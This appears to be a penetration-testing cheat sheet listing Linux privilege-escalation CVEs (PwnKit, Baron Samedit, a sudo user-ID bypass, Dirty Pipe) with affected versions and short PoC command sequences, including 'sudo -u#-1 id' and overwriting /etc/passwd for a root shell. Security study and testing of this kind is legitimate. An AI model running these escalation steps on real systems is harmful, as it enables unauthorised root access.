Recent CVEs

PWNKit - CVE-2021-4034

  • Affected Versions: All Polkit versions from 2009 onwards are vulnerable

  • Exploit PoC:

    1. git clone

    2. gcc cve-2021-4034-poc.c -o pwnkit

    3. ./pwnkit

  • Mitigation:

    1. Patch polkit

    2. If no patches are available for your system, remove the SUID bit from the pkexec binary

Weak Sudo Versions - CVE-2021-3156

  • Affected Versions: 1.8.31 - Ubuntu 20.04 1.8.27 - Debian 10 1.9.2 - Fedora 33 and others

  • Exploit PoC:

    1. git clone

    2. cd git-folder

    3. make

    4. Check target OS version: cat /etc/lsb-release

    5. Check available exploit targets: ./sudo-hax-me-a-sandwich

    6. Exploit the target OS: ./sudo-hax-me-a-sandwich target-number

Weak Sudo Version (prior to 1.8.28) - CVE-2019-14287

  • Affected Versions: sudo versions prior to 1.8.28

  • Exploit Prerequisites:

    1. The current user needs to be part of the sudoers group

    2. The current user needs to be able to run any command as (ALL)

  • Exploit PoC:

    1. Check sudo permissions: sudo -l

    2. Suppose the output of the previous command is ALL=(ALL) /usr/bin/id

    3. Run the command id as root: sudo -u#-1 id

Dirty Pipe - CVE-2022-0847

  • Affected Versions: All kernels from version 5.8 to 5.17

  • Exploit Prerequisites: This vulnerability allows a user to write to arbitrary files as long as he has read access to these files

  • Exploit PoC:

    1. Check kernel version: uname -r

    2. git clone

    3. cd git-folder

    4. bash

    5. [Option1] Modify the /etc/passwd file and get a shell: ./exploit-1

    6. [Option2] Identify a SUID binary using find / -perm -4000 and run ./exploit-2 to leverage that binary file

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